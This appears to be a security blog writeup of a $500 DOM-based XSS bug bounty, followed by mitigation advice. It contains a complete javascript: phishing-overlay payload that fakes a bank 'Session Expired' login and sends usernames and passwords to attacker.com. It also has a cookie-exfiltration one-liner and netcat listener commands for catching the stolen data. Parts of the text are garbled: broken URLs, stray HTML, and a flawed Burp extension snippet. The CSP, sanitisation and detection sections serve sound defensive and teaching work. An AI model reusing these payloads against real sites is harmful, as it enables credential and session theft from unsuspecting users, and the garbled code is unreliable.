How a 00 DOM-Based XSS Bounty Turned into a Full-Screen Credential Phishing Nightmare: A Step-by-Step Writeup + Video

Listen to this Post

Featured Image

Introduction:

DOM-based Cross-Site Scripting (XSS) remains one of the most insidious web vulnerabilities because it never touches the server—malicious payloads execute entirely within the victim’s browser through unsafe client-side JavaScript. A recent $500 bounty accepted on YesWeHack demonstrates how an unsanitized URI parameter processed client-side allowed arbitrary code execution via the `javascript:` scheme, which an attacker escalated into a full-screen credential phishing overlay mimicking the target bank’s login portal—proving that even low-severity XSS can become a high-impact breach when combined with social engineering and creative payloads.

Learning Objectives:

  • Identify DOM-based XSS vectors involving the `javascript:` URI scheme and client-side DOM manipulation.
  • Exploit DOM XSS to inject and render a full-screen credential-harvesting overlay.
  • Implement mitigation techniques including Content Security Policy (CSP) directives, safe DOM APIs, and input sanitization.

You Should Know:

1. Understanding DOM-Based XSS and the `javascript:` Scheme

DOM-based XSS occurs when a web application writes user-controlled data directly into the DOM using insecure JavaScript methods like innerHTML, document.write(), or location.hash. The `javascript:` URI scheme is a classic attack vector: if an application takes a parameter (e.g., from `window.location.hash` or URL parameters) and uses it to set an iframe src, a.href, or `location` property without validation, an attacker can inject javascript:alert(document.cookie).

Example vulnerable code:

// app.js
var userInput = document.location.hash.substring(1);
document.getElementById("dynamicFrame").src = userInput;

If a user visits https://bank.com/profilejavascript:alert('XSS'), the frame executes JavaScript in the page context.

Step-by-step to test for this vulnerability:

  1. Identify any client-side script that reads from `window.location` (hash, search, pathname) and writes to a sink (.src, .href, location, eval, `setTimeout` string).
  2. Use browser DevTools (F12) → Sources tab → search for .hash, .search, location..
  3. Inject a harmless test payload: `javascript:console.log(‘XSS’)` and check the console.
  4. If the payload executes, you have DOM XSS via javascript:.

  5. Step-by-Step Exploitation: From Bug Discovery to Phishing Overlay

Once you confirm `javascript:` execution, you can replace `alert()` with a full phishing overlay. The following steps assume you are testing on a bug bounty target (always with permission) and using Burp Suite.

Preparation – Burp Suite configuration:

  • Set your browser proxy to Burp (127.0.0.1:8080).
  • Install Burp’s CA certificate.
  • Enable DOM Invader (Burp → Target → DOM Invader) – it automatically detects DOM sinks and sources.
  • Set “Canary” to a unique string like 'XSS_TEST'.

Exploitation steps:

  1. Capture a request that contains a hash fragment (e.g., https://target.com/dashboardparam=ABC`).
    <h2 style="color: yellow;">2. Modify the hash to
    javascript:`.
  2. Right-click request in Burp → Send to Repeater.

4. In Repeater, craft the full payload:

javascript:fetch('https://attacker.com/logger?cookie='+document.cookie)

But for a phishing overlay, you need DOM injection.

Better payload using `document.write` or `createElement`:

javascript:document.body.innerHTML='

<div style="position:fixed; top:0; left:0; width:100%; height:100%; background:white; z-index:9999;">...</div>

'

Because the `javascript:` scheme executes in the page context, you can rewrite the entire DOM. For a stealthier approach, inject an iframe overlay.

3. Crafting the Credential Phishing Overlay

Below is a realistic HTML/JavaScript overlay that mimics a bank login portal. Save this as a single line to inject via javascript:.

Payload (minified for URL injection):

javascript:(function(){
var div = document.createElement('div');
div.id = 'phishOverlay';
div.style.cssText = 'position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:99999; display:flex; align-items:center; justify-content:center;';
div.innerHTML = '

<div style="background:white; padding:20px; border-radius:10px; width:300px;"><h2>Session Expired</h2>Please re-enter your credentials</p><input id="user" placeholder="Username"/><br/><input id="pass" type="password" placeholder="Password"/><br/><button onclick="sendCreds()">Login</button></div>

<p>';
document.body.appendChild(div);
window.sendCreds = function(){
var u = document.getElementById('user').value;
var p = document.getElementById('pass').value;
fetch('https://attacker.com/steal?u='+encodeURIComponent(u)+'&p='+encodeURIComponent(p));
div.remove();
alert('Session restored');
};
})();

How to inject via URL:

  1. URL-encode the payload (not strictly necessary in hash fragment, but good practice).
  2. Final exploit: `https://bank.com/profilejavascript:…`
    3. The victim clicks the link (delivered via email, social media, or redirect).
    4. Overlay appears – most users will re-enter login credentials.

    5. Credentials exfiltrated to attacker-controlled endpoint.

    For testing locally (Linux/macOS): Run a simple HTTP server to catch exfiltrated data:

    nc -lvnp 8080
     Or
    python3 -m http.server 8888
    

    Then replace `https://attacker.com` with `http://YOUR_IP:8080`.

Windows PowerShell equivalent:

Start-Process python -ArgumentList "-m http.server 8080"
 Or use netcat (if installed): ncat -lvnp 8080

4. Mitigation & Hardening: CSP, Sanitization, Safe APIs

To prevent DOM-based XSS via `javascript:` scheme, implement multiple layers:

1. Content Security Policy (CSP)

Add a strict CSP header that disallows `javascript:` URIs and inline scripts.

 For Apache / .htaccess
Header set Content-Security-Policy "script-src 'self'; object-src 'none'; base-uri 'self';"

For Nginx:

add_header Content-Security-Policy "script-src 'self';";

The directive `script-src ‘self’` blocks `javascript:` URIs because they are considered inline script executions.

2. Avoid Dangerous DOM Sinks

Never use document.location, location.href, element.src, or `element.href` with unsanitized user input. Use safe alternatives:

// UNSAFE
location.href = userInput; // javascript:alert() will execute
// SAFE
location.assign("https://safe.com/page"); // static
// Or validate/whitelist
if (userInput.startsWith("https://trusted.com")) {
location.href = userInput;
}

3. Sanitize using DOMPurify or built-in `textContent`

import DOMPurify from 'dompurify';
let clean = DOMPurify.sanitize(userInput, { ALLOWED_URI_REGEXP: /^https?:\/\// });
document.getElementById("link").href = clean;

4. Use `document.createElement` with `textContent` instead of `innerHTML`

// Safe
const span = document.createElement('span');
span.textContent = userInput; // HTML tags become plain text

5. Detection Using Burp Suite & Custom Scripts

Burp Suite Professional includes DOM Invader (also in Community edition with limitations). Enable it from the Target tab → DOM Invader → Set to “On” with “Canary”. DOM Invader will automatically modify URL fragments and track sinks.

Manual detection using browser console:

// Check all links and iframes for javascript: scheme
document.querySelectorAll('a, iframe, [bash], [bash]').forEach(el => {
let url = el.src || el.href;
if (url && url.toLowerCase().startsWith('javascript:')) {
console.warn('Potential DOM XSS:', el);
}
});

Linux command to grep source code for vulnerable patterns in a downloaded web app:

grep -rnE '(location.hash|location.search|document.URL|document.documentURI)' . --include=".js"

Windows PowerShell equivalent:

Get-ChildItem -Recurse -Filter .js | Select-String -Pattern "location.hash|location.search"

Burp Suite scanner custom extension (Python) to detect `javascript:` in hash parameters:

from burp import IBurpExtender, IScannerCheck
class BurpExtender(IBurpExtender, IScannerCheck):
def doPassiveScan(self, baseRequestResponse):
url = helpers.analyzeRequest(baseRequestResponse).getUrl()
if "javascript:" in url.toString():
return [helpers.makeScanIssue(baseRequestResponse, baseRequestResponse, "DOM XSS via javascript:", "Payload: javascript:alert(1)", "High", "Certain")]
return None

6. Reporting and Responsible Disclosure (The $500 Writeup)

When you find a DOM XSS vulnerability that allows `javascript:` execution, craft a professional report similar to the accepted YesWeHack submission:

Report Template:

  • DOM-Based XSS via Unsanitized URI Parameter (javascript: scheme)
  • Affected endpoint: `https://bank.com/dashboardsection`
    – Steps to reproduce:
    1. Navigate to `https://bank.com/dashboardjavascript:alert(document.domain)`

2. Observe alert box showing the domain.

  • Impact: Full page takeover, credential theft via phishing overlay, session hijacking.
  • Proof of concept: Video or screenshot showing overlay injection.
  • Suggested fix: Implement CSP script-src 'self', validate hash parameters against a whitelist, use `textContent` instead of innerHTML.

The bounty team at YesWeHack awarded $500 because the tester escalated the report with a credential phishing overlay proof of concept, demonstrating high impact despite low complexity. Always include a mitigation section to speed up triage.

What Undercode Say:

  • Client-side input sanitization is as critical as server-side validation. DOM sinks like `location.hash` are often forgotten during code reviews – always treat them as attacker-controlled.
  • The `javascript:` URI scheme is a legacy feature that should be aggressively blocked via CSP. Even if your app doesn’t use it, an attacker can still inject it into a dynamically generated link.

The $500 bounty reflects a worrying reality: many bug bounty hunters stop at alert popups. By demonstrating a full-screen phishing overlay, the researcher proved that a “low risk” DOM XSS can bypass 2FA and steal credentials directly. Organizations must move beyond scanning for reflected XSS and adopt client-side hardening – CSP, Trusted Types, and regular DOM fuzzing – to prevent these realistic attacks.

Prediction:

As web applications increasingly shift logic to the client side (React, Vue, Angular), DOM-based XSS will surpass reflected and stored XSS as the dominant attack vector. We will see more automated tooling like DOM Invader and custom fuzzers targeting `javascript:` and `data:` URIs. Simultaneously, browser vendors may further restrict `javascript:` scheme execution in cross-origin contexts, but legacy enterprise apps will remain vulnerable. AI-assisted payload generation could enable adaptive phishing overlays that mimic the exact style of a targeted site in real time, making detection by users nearly impossible. The future of web security hinges on adopting Trusted Types API and strict CSP – without them, a single unsanitized hash parameter can bring down a million-dollar brand.

▶️ Related Video (76% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Javier Rieiro – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky